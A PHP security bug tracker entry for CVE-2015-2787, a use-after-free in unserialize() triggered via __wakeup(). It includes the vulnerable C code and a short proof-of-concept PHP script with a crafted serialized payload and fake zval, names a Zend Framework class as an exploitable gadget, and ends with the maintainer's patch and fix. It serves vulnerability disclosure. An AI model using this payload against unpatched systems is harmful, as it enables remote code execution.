php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68976 Use After Free Vulnerability in unserialize()
Submitted: 2015-02-03 06:18 UTC Modified: 2015-03-31 05:51 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.5 OS: *
Private report: No CVE-ID: 2015-2787
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-02-03 06:18 UTC] taoguangchen at icloud dot com
Description:
------------
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
	zval retval;
	zval fname;

	if (Z_TYPE_P(rval) != IS_OBJECT) {
		return 0;
	}

	//??? TODO: resize before
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
		return 0;
	}

	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);

The __wakeup() magic method lead to this problem.

The simple code:

<?php

class evilClass {
	public $name;
	function __wakeup() {
		unset($this->name);
	}
}

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

?>

The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-02-16 05:39 UTC] stas@php.net
This requires creating special class to trigger this. But if you can inject code in evilClass, you already have code execution capability. So I'm not sure this is a security issue. I'll think if this issue can be fixed, but doesn't look like a security problem.
 [2015-02-16 07:04 UTC] taoguangchen at icloud dot com
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2

class Mbox extends AbstractStorage
{
...
    protected function openMboxFile($filename)
    {
        if ($this->fh) {
            $this->close();
        }
        ErrorHandler::start();
        $this->fh = fopen($filename, 'r');
        $error = ErrorHandler::stop();
        if (!$this->fh) {
            throw new Exception\RuntimeException('cannot open mbox file', 0, $error);
        }
        $this->filename = $filename;
        $this->filemtime = filemtime($this->filename);
...
    public function close()
    {
        ErrorHandler::start(E_WARNING);
        fclose($this->fh);
        ErrorHandler::stop();
        $this->positions = array();
    }
...
    public function __wakeup()
    {
        ErrorHandler::start();
        $filemtime = filemtime($this->filename);
        ErrorHandler::stop();
        if ($this->filemtime != $filemtime) {
            $this->close();
            $this->openMboxFile($this->filename);
        } else {
            ErrorHandler::start();
            $this->fh = fopen($this->filename, 'r');
            $error    = ErrorHandler::stop();
            if (!$this->fh) {
                throw new Exception\RuntimeException('cannot open mbox file', 0, $error);
            }
        }
    }

$this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.
 [2015-03-02 05:57 UTC] stas@php.net
This seems to fix the issue: https://gist.github.com/smalyshev/eea9eafc7c88a4a6d10d

Please check.
 [2015-03-02 08:09 UTC] taoguangchen at icloud dot com
The patch looks and test is ok.
 [2015-03-17 23:44 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-17 23:44 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-03-31 05:51 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-2787
 [2016-07-20 11:39 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=780222f97f47644a6a118ada86a269a96a1e8134
Log: Fixed bug #68976 - Use After Free Vulnerability in unserialize()
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC